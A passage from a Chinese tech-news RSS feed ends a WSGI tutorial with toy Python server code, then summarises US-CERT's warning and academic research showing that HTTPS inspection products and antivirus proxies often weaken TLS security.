        self.parse_request(request_data)

        # 使用请求的信息构造 CGI 环境变量
        env = self.get_environ()

        # 调用 WSGI callable object
        result = self.application(env, self.start_response)

        # 将结果响应给客户端
        self.finish_response(result)

    def parse_request(self, text):
        request_line = text.splitlines()[0]
        request_line = request_line.rstrip(&amp;apos;\r\n&amp;apos;)
        # 解析 HTTP request line
        (self.request_method,  # GET
         self.path,            # /hello
         self.request_version  # HTTP/1.1
         ) = request_line.split()

    def get_environ(self):
        # 构造响应的 WSGI 环境变量
        env = {
        		&amp;apos;wsgi.version&amp;apos;: (1, 0),
        		&amp;apos;wsgi.url_scheme&amp;apos;: &amp;apos;http&amp;apos;,
        		&amp;apos;wsgi.input&amp;apos;: StringIO.StringIO(self.request_data),
        		&amp;apos;wsgi.errors&amp;apos;: sys.stderr,
        		&amp;apos;wsgi.multithread&amp;apos;: False,
        		&amp;apos;wsgi.run_once&amp;apos;: False,
        		&amp;apos;REQUEST_METHOD&amp;apos;: self.request_method,
        		&amp;apos;PATH_INFO&amp;apos;: self.path,
        		&amp;apos;SERVER_NAME&amp;apos;: self.server_name,
        		&amp;apos;SERVER_PORT&amp;apos;: str(self.server_port),
        	}
        return env

    def start_response(self, status, response_headers, exc_info=None):
        # 构造响应的首部和状态码
        server_headers = [
            (&amp;apos;Date&amp;apos;, &amp;apos;Tue, 31 Mar 2015 12:54:48 GMT&amp;apos;),
            (&amp;apos;Server&amp;apos;, &amp;apos;WSGIServer 0.2&amp;apos;),
        ]
        self.headers_set = [status, response_headers + server_headers]

    def finish_response(self, result):
        try:
            status, response_headers = self.headers_set
            response = &amp;apos;HTTP/1.1 {status}\n&amp;apos;.format(status=status)
            for header in response_headers:
                response += &amp;apos;{0}: {1}\n&amp;apos;.format(*header)
            response += &amp;apos;\n&amp;apos;
            for data in result:
                response += data
            # Print formatted response data a la &amp;apos;curl -v&amp;apos;
            print(&amp;apos;&amp;apos;.join(
                &amp;apos;&amp;gt; {line}\n&amp;apos;.format(line=line)
                for line in response.splitlines()
            ))
            self.client_connection.sendall(response)
        finally:
            self.client_connection.close()


SERVER_ADDRESS = (HOST, PORT) = &amp;apos;&amp;apos;, 8888


def make_server(server_address, application):
    server = WSGIServer(server_address)
    server.set_app(application)
    return server


if __name__ == &amp;apos;__main__&amp;apos;:
    if len(sys.argv) &amp;lt; 2:
        sys.exit(&amp;apos;请提供可用的wsgi应用程序, 格式为: module:callable&amp;apos;)
    app_path = sys.argv[1]
    module, application = app_path.split(&amp;apos;:&amp;apos;)
    module = __import__(module)
    application = getattr(module, application)
    httpd = make_server(SERVER_ADDRESS, application)
    print(&amp;apos;WSGIServer: Serving HTTP on port {port} ...\n&amp;apos;.format(port=PORT))
    httpd.serve_forever()
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

 &lt;p&gt;上面的 WSGI 服务器运行过程为：&lt;/p&gt;

 &lt;ol&gt;
    &lt;li&gt;初始化，创建套接字，绑定端口&lt;/li&gt;
    &lt;li&gt;接收客户端请求&lt;/li&gt;
    &lt;li&gt;解析 HTTP 协议&lt;/li&gt;
    &lt;li&gt;构造 WSGI 环境变量（   &lt;code&gt;environ&lt;/code&gt;）&lt;/li&gt;
    &lt;li&gt;调用 application&lt;/li&gt;
    &lt;li&gt;回调函数    &lt;code&gt;start_response&lt;/code&gt; 设置好响应的状态码和首部&lt;/li&gt;
    &lt;li&gt;返回信息&lt;/li&gt;
&lt;/ol&gt;

 &lt;p&gt;本文对 WSGI 进行了简单的介绍，关于更多 WSGI 的细节，可以阅读   &lt;a href="https://www.python.org/dev/peps/pep-3333"&gt;PEP3333&lt;/a&gt;。&lt;/p&gt;

 &lt;p&gt;参考：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;   &lt;a href="http://wsgi.tutorial.codepoint.net/intro"&gt;WSGI Tutorial&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://ruslanspivak.com/lsbaws-part1/"&gt;Let’s Build A Web Server&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="http://wsgi.tutorial.codepoint.net/intro"&gt;PEP3333&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>Python Web</category>
      <guid isPermaLink="true">https://itindex.net/detail/57623-python-wsgi</guid>
      <pubDate>Tue, 07 Feb 2017 03:00:00 CST</pubDate>
    </item>
    <item>
      <title>HTTPS真的就是安全的象征吗？HTTPS检查工具带来的安全威胁</title>
      <link>https://itindex.net/detail/57265-https-%E5%AE%89%E5%85%A8-%E8%B1%A1%E5%BE%81</link>
      <description>&lt;p&gt;  &lt;strong&gt;在很多人印象中，HTTPS就是安全的象征，而为了对这些“安全”的流量进行检查，很多安全产品，包括杀毒软件和防火墙都具备HTTPS检查的功能，通过这样的功能排除其中的安全威胁。然而近日US-CERT却发布了一则预警，TA17-075A，对部分HTTPS检查产品发出安全预警，提到部分SSL/TLS拦截软件未能执行有效验证，或者未能充分传递验证状态，这可能被第三方发动中间人攻击。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;US-CERT为什么要发出这个  &lt;a href="https://www.us-cert.gov/ncas/alerts/TA17-075A" target="_blank"&gt;预警&lt;/a&gt;呢？让我们来捋一捋最近发生的一些事情。&lt;/p&gt;
 &lt;h2&gt;US-CERT专家发文称SSL检查有风险&lt;/h2&gt;
 &lt;p&gt;首先是2015年初的时候，  &lt;a href="http://www.kb.cert.org/vuls/id/529496" target="_blank"&gt;Superfish&lt;/a&gt;和  &lt;a href="http://www.kb.cert.org/vuls/id/366544" target="_blank"&gt;PrivDog&lt;/a&gt;这两款SSL检查工具因为没能正确验证SSL引起了US-CERT专家的重视。专家称因为没能正确验证SSL，导致用户系统容易被攻击者进行HTTPS嗅探。&lt;/p&gt;
 &lt;p&gt;接连几个SSL检查工具被曝存在相似问题后，US-CERT专家Will Dormann决定深入探究这个问题，发表了《SSL检查的风险》一文，其中指出了一些问题：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;1. 许多人并不了解SSL和TSL的功能；&lt;/p&gt;
  &lt;p&gt;2. SSL检查产品比他想象的流行得多；&lt;/p&gt;
  &lt;p&gt;3. 许多有SSL检查能力的应用都存在一些漏洞，可给用户带来风险；&lt;/p&gt;
  &lt;p&gt;4. 即便SSL检查做得跟浏览器一样安全，也会给用户带来一定风险。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;下面我们一一来讲。&lt;/p&gt;
 &lt;h3&gt;背景知识&lt;/h3&gt;
 &lt;p&gt;SSL和TLS的目的主要有两个：一是认证与客户端通信的服务器，二是加密客户端与服务器之间发送的数据。有些人可能认为SSL和TLS能够实现端到端加密，这种观点是不对的。SSL和TLS只有在点到点的情况下才能实现安全认证和加密。我们先来看个例子，在本例中的点到点通信也可以被认为是端到端的通信：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="ssl_no_mitm2.png" height="195" src="http://image.3001.net/images/20170606/14967441757807.png!small" width="550"&gt;&lt;/img&gt;    &lt;/p&gt;
 &lt;p&gt;客户端能够验证安全通信，但只能和其通信的下一个点进行验证。在上面的例子当中，客户端直接和目标系统建立SSL/TLS连接。客户端软件通过系统上的大量根证书来验证它连接的系统。至于这个系统是不是用户预期的目标系统就是需要另作讨论的话题了。&lt;/p&gt;
 &lt;p&gt;当用户在浏览器当中加载受HTTPS保护的网站时，浏览器实际上只会验证两件事：网站是否提供了证书；证书是不是浏览器信任的根证书CA机构颁发的。实际上我们是在相信每个根CA机构都已尽全力来验证你要连接的服务器的身份。但是实际上有时候根CA机构会被骗。我们还相信每个根CA机构都能够保护自己的系统。但是实际上有时候根CA会被盗用。&lt;/p&gt;
 &lt;p&gt;有关这些问题的更多细节，请参阅Moxie Marlinspike的博客文章《  &lt;a href="http://www.thoughtcrime.org/blog/ssl-and-the-future-of-authenticity/" rel="nofollow" target="_blank"&gt;SSL与真实的未来&lt;/a&gt;》。&lt;/p&gt;
 &lt;p&gt;我们上面提到的Superfish和Privdog有什么问题呢？它们会安装一个新的受信根证书。&lt;/p&gt;
 &lt;p&gt;请注意这里使用术语“可信”。 我们不是在讨论PGP和GPG应用程序使用的信任网络的任何内容，在PGP中的“可信”是指使用个别密钥的信任级别。 而“受信任的根CA证书”只是可以由客户端软件使用而不产生警告。 它与用户对某事物的“信任”毫无关系。简单来说，有了这个证书，客户端软件就不会发出安全警告提示你证书有问题。&lt;/p&gt;
 &lt;p&gt;这两个工具都会安装受信的根CA证书，不过好消息是他们的证书都明确写明是来源于Superfish和Privdog。如果有软件要把证书冒充成是由“VeriSign”等大机构发布的，写成“VeriSign.”我们也无法防范。&lt;/p&gt;
 &lt;p&gt;假定有这样一个场景，有人通过HTTPS访问一家网站（因为要给出诸如用户名和密码这样的敏感信息），装了PrivDog或者Superfish。如果浏览器不对证书合法性作警告，最多也就意味着与用户通讯的系统，获得了受信root CA机构的证书，SuperFish和Privdog就是其中之一。    &lt;/p&gt;
 &lt;p&gt;如果有人想要验证某个证书是否由“真正”的证书机构发布的，比如说想要查看证书发行机构的指纹，所需的步骤在每个浏览器当中也各有不同。有些浏览器，比如微软的IE，如果要查看证书还得先接受该证书，因此即便是安全专家可能也很难判断是不是他想要连接的主机。&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://www.freebuf.com/news/59363.html" target="_blank"&gt;Superfish&lt;/a&gt;和Privdog这种主机层面的软件仅仅是SSL检查产品的一部分。Dormann发现，许多网络层面的应用和设备也能进行SSL检查。安全网关、防火墙、数据丢失防护（DLP）产品和其他许多应用似乎都加入了SSL检查的大军。当然了，网络管理员要检查受SSL/TLS保护的浏览可能有多种多样的原因，但是很多人可能都没有注意到，那些软件的SSL检查能力还不如浏览器，会带来什么样的安全隐患不言而喻。我们来看看这个图：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="point-to-point_SSL5.png" height="178" src="http://image.3001.net/images/20170606/14967441837716.png!small" width="690"&gt;&lt;/img&gt;        &lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;在上图的通信过程中，客户端只能验证自己是在与SSL检查软件通信。客户端并不清楚SSL检查软件用了什么技术验证SSL证书。而且更重要的是，SSL检查软件跟目标系统之间还有没有额外的点，客户端无法确定。SSL检查软件跟目标服务器之间是否有攻击者存在？客户端无法知晓。由于这种不透明，客户端只能相信SSL检查软件每一步都做到位了。但很不幸，SSL检查软件并没有。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;常见的SSL错误&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;分析了SSL检查软件之后，Dormann等人总结了这些软件经常犯的一些错误：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;1. 上游证书有效性验证不充分&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;风险：客户端无法知晓所连站点是否合法正规&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;2. 未告知客户端上游证书验证结果            &lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;风险：客户端无法知晓所连站点是否合法正规&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;3. 证书规范名称字段信息过载&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;说明：有些SSL检查软件会通过证书的CN字段，试图将上游证书的有效性传递给客户端。比如说，Komodia的SSL Digestor如果验证服务器端提供的证书无效，就会在证书的CN字段开头加上“verify_fail”字样。这个技术其实会带来很多问题。最明显的错误就是传递给用户的错误信息跟证书无效的原因没有关系。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;风险：客户端系统的用户可能不知道为什么证书验证没有通过，或者甚至不知道验证没通过。攻击者可以利用主题替代方案名称（SAN）字段令证书认证某一特定域，这样浏览器就不会发出警告。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;4. 用应用层反馈证书有效性&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;说明：有些SSL检查工具会将网页内容（比如HTML）提供给客户端，并描述证书的问题。但客户端软件确定和展示证书的一般机制可能还是会提示证书没有问题。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;风险：用HTTPS访问数据的并不一定是人。客户端可能是用JSON数据跟服务器通信的某个应用。这个问题还可能导致SSL有效性提示不一致。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;5. 根据UA HTTP头决定何时验证证书&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;说明：有些软件会根据客户端提供的UA HTTP头选择性决定验证上游证书的时间。这个技术可能是和上面的步骤一起使用的。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;风险：使用这种机制就会导致部分客户端都不能收到证书认证信息。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;6. 预警之前建立通信&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;说明：有些SSL检查工具检测到证书错误后，会先把客户端请求发送到服务器，然后再给用户发警告信息。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;风险：攻击者可能可以查看或修改敏感信息。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;7. 使用相同根证书&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;说明：有些SSL检查应用每次安装的时候都使用相同的受信根证书。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;风险：攻击者可能获得这些应用的私钥，并且用这个受信根证书来给所有访问网站签名。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;Dormann认为，即便SSL检查应用不存在上述任何问题，客户端还是无法获知该应用信任了哪些根证书。使用SSL检查软件将阻碍或者完全阻止客户端成功验证其通信的服务器。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;后来Dormann用自己信任的中间人代理虚拟机CERT Tapioca检测，发现有至少58个HTTPS检查工具都存在上述安全问题。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="snip_20170330181453.png" height="622" src="http://image.3001.net/images/20170606/14967441926727.png!small" width="621"&gt;&lt;/img&gt;            &lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h2&gt;谷歌、Mozilla专家联合发布论文《HTTPS拦截的安全隐患》&lt;/h2&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;基于上述的研究，来自密歇根大学、伊利诺伊大学厄本那-香槟分校、Mozilla、Cloudflare、Google、加州大学伯克利分校的研究人员决定对外界HTTPS拦截进行全面的研究，量化其流行程度和对现实世界安全的影响。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;流量监控  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;研究人员首先对总体流量进行分析，通过三种渠道分别监控来自用户的流量，然后分辨用户是否使用了HTTPS流量监测工具。怎么进行分辨呢？比如有一些安全产品在拦截流量后会修改User-Agent，研究人员进行分析就可以分辨哪些流量经过拦截，哪些没有被拦截。他们发现Firefox更新连接有4.0%遭到拦截，6.2%的电商网站流量被拦截，10.9%的Cloudflare流量被拦截，这比之前估计的比例要高。            &lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="inter.png" height="304" src="http://image.3001.net/images/20170606/14967433718175.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;A. Firefox更新服务器&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;相比其他浏览器，Firefox流量被拦截的比例更低，原因就在于Firefox有自带的证书存储，而IE、Chrome、Safari浏览器都使用了系统默认的证书存储空间。因此，有些杀毒软件如Avast不会拦截Firefox的流量。在企业环境中，尽管可以额外在Firefox的证书管理中添加证书，但这还是会增加麻烦，因此很多IT管理员就索性不再拦截Firefox流量。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;研究人员还观察到一些地理差异，比如危地马拉有15%的Firefox更新服务器流量被拦截，这比全球的平均比例要高3-4倍，原因是危地马拉的移动运营商COMCEL处理了34.6%的更新流量而运营商对32.9%的流量进行了拦截。格陵兰拦截率排在第二，主要是因为一个名为TELE Greenland的运营商的AS(自治系统)导致的，其中将近一般的流量都被Fortigate中间盒拦截。排名第三的韩国是使用手机最多的国家之一，大量的流量加上运营商AS系统中的拦截导致其拦截率较高。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;B. 电商网站&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;研究人员观察了25万独立访客，并对HTTP User-Agent进行分析，识别出TLS握手时与UA浏览器不符的流量，结果观察到6.8%的流量被拦截，另外0.9%可能被拦截但无法完全分类。通过对指纹进行分析发现，电商网站被拦截的流量中58%被反病毒软件拦截，35%属于企业代理，只有1.0%来自恶意软件（如SuperFish）。拦截最多流量的三款杀毒软件分别是Avast、Blue Coat和AVG，分别拦截了10.8%，9.1%和7.6%的流量。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;Chrome浏览器处理了40.3%的TLS流量，其中8.6%被拦截，是被拦截比例最高的浏览器。而手机端Safari的浏览器是最低的，仅拦截了0.9%。研究人员还观察到，Windows平台的流量拦截比例为8.3%–9.6%，而Mac平台则是2.1%，原因可能是大部分的企业用户使用的是Windows，并且很多杀毒软件是基于Windows的。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;C. Cloudflare流量&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;通过检查Clouldflare拦截的流量，研究人员观察到10.9%的拦截率，握手环节中比例最高的指纹来自杀毒软件Avast, AVG, Kaspersky和BitDefender。这与在电商网站得出的结论相互印证。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;对安全性的影响&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;接下来，为了评估HTTPS检查工具对安全的影响，研究人员制定了分级标准量化TLS客户端安全性：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;A: 最优&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;被拦截后的TLS连接与浏览器本身的安全性和性能一致，在对密码套件区分等级时，研究人员使用了Chrome对“安全TLS”的定义。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;B: 次优&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;连接使用了不理想的设置（比如非PFS密码）但是不至于被已知的攻击方法攻击&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;C: 连接可被已知攻击手法攻击&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;连接能被已知的TLS攻击手法（如BEAST，FREAK或Logjam）攻击，接受768位的Diffie-Hellman密钥或者支持RC4。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;F: 严重缺陷&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;连接非常不安全，使用中间人攻击就可以截获并解密会话。比如产品不检验证书，或者提供不安全的密码套件（如DES）。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;不过值得注意的是很多浏览器引入了新的安全校验机制如HSTS, HPKP, OneCRL/CRLSets, certificate transparency 验证和OCSP  must-staple。而测试的安全产品并不支持这些机制。从这个意义上说，即使获得了“A”等级，Chrome或者Firefox浏览器还是要比这些HTTPS检查工具更安全。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;研究人员安装了各类HTTPS检查工具，包括企业代理、安全软件、以及包含HTTPS拦截功能的恶意软件，然后使用Chrome、IE、Firefox和Safari浏览器检查如下项目：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;1) TLS版本&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;检查产品支持的最高版本TLS。客户端最高支持TLS 1.1时评级为B，支持SSLv3评级为C，支持SSLv2评级为F。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;2) 密码套件&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;检查客户端问候消息中的密码套件。把所有不支持Chrome的强TLS密码的产品评级为B，握手时提供RC4的评级为C，支持其他更弱密码如出口级密码或者DES则评为F。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;3) 证书验证&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;使用一些不能信任的证书，包括过期的，自签名的，或者签名无效的证书。并且测试了一些由公开了密钥的证书机构（如Superfish、eDell、Dell提供商的根证书）签署的证书。如果HTTPS检查工具接受了这些证书则评级为F。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;4) 已知的TLS攻击&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;检查客户端能否被BEAST、FREAK、Heartbleed和Logjam攻击，检查是否接受不够安全的Diffie-Hellman密钥，符合上述条件则评级为C。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;企业中间件&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;研究结果显示：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;11/12款软件的默认设置降低了连接的安全性；&lt;/p&gt;
  &lt;p&gt;5/12款存在严重漏洞；&lt;/p&gt;
  &lt;p&gt;10/12款接受RC4加密方式；&lt;/p&gt;
  &lt;p&gt;2/12款使用了出口级的密码；&lt;/p&gt;
  &lt;p&gt;3/12款证书验证存在问题；&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;  &lt;img alt="int.png" height="262" src="http://image.3001.net/images/20170606/14967436494603.png%21small" width="690"&gt;&lt;/img&gt;            &lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;客户端安全软件&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;测试的软件几乎都存在问题，并且研究人员注意到，杀毒软件本身也存在漏洞，光Avast一款杀软过去8个月就有10个漏洞被公开，其中还有一个漏洞能能够被构造的证书执行远程代码。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;恶意软件&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;之前研究人员发现Komodia没有验证证书，而新的发现显示NetFilter SDK也没有进行验证。因此这两款软件被评级为F。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;对TLS流量的影响&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;研究人员观察到，65%截获的Firefox更新流量降低了安全性，37%存在严重漏洞。而27%的电商流量和45%的Cloudflare流量降低了安全性，能被黑客实现中间人攻击的比例分别为18%和16%。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;企业中间件&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;企业中间件拦截流量后62.3%的连接安全性降低了，而58.1%的连接存在严重漏洞。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;在检查Firefox流量时，研究人员调查了处理100K个连接的AS系统中拦截率最高、设备指纹出现次数最多的前25个。其中发现的机构包括金融公司、政府部门和教育机构。除了一家银行以外，前25个AS中24个都降低了安全性。12个使用了出口级的密码套件，可能被中间人攻击。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;存在问题的安全产品和厂商如下图：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="ter.png" height="515" src="http://image.3001.net/images/20170606/14967436897260.png!small" width="690"&gt;&lt;/img&gt;            &lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;在论文结尾，研究人员针对目前HTTPS拦截的现状提出了几点意见：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;安全社区需要达成共识&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;我们需要社区共识。安全社区对是否应该允许HTTPS拦截几乎没有共识。一方面，Chrome和Firefox通过允许本地安装根证书绕过限制。而与此同时，采用新的协议特征来进行更安全的拦截的讨论又在IETF这样的标准化小组里遭到了大量反对。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;想要找到长久有效的解决方案，安全社区必须要在“拦截检查是否合理”这一问题上达成共识。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;应该考虑验证发生的环节&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;许多HTTPS安全功能希望通过混合HTTP和TLS层来实现端到端的连接，并通过在浏览器代码中实现HTTPS功能，而不是在TLS库中。例如，为了克服现有吊销证书协议的弱点，Firefox有OneCRL机制，而Chrome有CRLSets。这两种解决方案都能在典型的端到端情况下增加浏览器的安全性。然而，这些解决方案在TLS代理的存在下不提供任何保护，并且由于该解决方案不是TLS协议本身的一部分，所以TLS库不实现这些安全检查。比如，HPKP指令通过HTTP传递，而不是在TLS握手期间传递。浏览器无法对代理连接执行HPKP验证，因为它们无法访问目标证书，而代理又不会不执行验证。虽然代理有能力执行额外的验证，但却没有验证。而且在许多情况下，厂商的精力都花费在正确部署现有TLS库上，更不用说实现其他安全功能了。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;如果我们希望浏览器执行额外的验证，那么代理就需要一种将连接详细信息（即服务器证书和加密参数）传递给浏览器的机制。如果要代理执行此验证，我们需要在TLS中标准化这些验证步骤，并使用流行的库。但是现在的情况是最糟糕的——任何一方都不执行严格的验证机制。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;加密库需要提供安全的默认值&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;几个代理部署了经过很少修改定制的TLS库。但这些库的默认设置是有安全问题的。默认情况下，客户端库和Web服务器应该优先考虑使其产品安全。OpenSSL最近决定删除已知的密码密码套件，这样的行为就值得赞赏。OpenSSL十年前就应该这么做了。我们的社区应该继续将默认选项限制为已经被证明安全的配置。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;防毒软件供应商应该重新考虑拦截HTTPS&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;防病毒软件在本地运行，可以访问本地文件系统，浏览器内存以及通过HTTPS加载的任何内容。由于他们可能会将TLS错误配置和RCE漏洞，我们强烈建议防病毒提供商重新考虑是否拦截HTTPS。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;安全公司忽略了安全问题&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;我们希望通过披露现有产品的漏洞，我们可以鼓励厂商修补问题。希望企业优先考虑其TLS实施的安全性，并考虑HTTPS生态系统发展的步伐以及是否能够跟上必要的更新。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;不要依赖客户端配置&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;客户端和服务器端都需要选择安全参数，而不是依靠一方来维持安全性。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h3&gt;管理员需要测试中间盒&lt;/h3&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;鼓励部署代理的管理员使用诸如Qualys SSL Lab的客户端测试  &lt;a href="https://howsmyssl.com" rel="nofollow"&gt;https://howsmyssl.com&lt;/a&gt;和  &lt;a href="https://badssl.com" rel="nofollow"&gt;https://badssl.com&lt;/a&gt;等网站来测试其配置。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h2&gt;安全厂商应该更负责  &lt;br /&gt;&lt;/h2&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;正是在Google研究人员发布报告后，美国计算机应急响应小组(US-CERT)加入了声浪。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;US-CERT称，“HTTPS检查会削弱TLS的安全性，”而且告诉企业，如果他们需要对HTTPS进行审查，他们应该保证产品会“执行正确的TLS证书验证”。&lt;/p&gt;
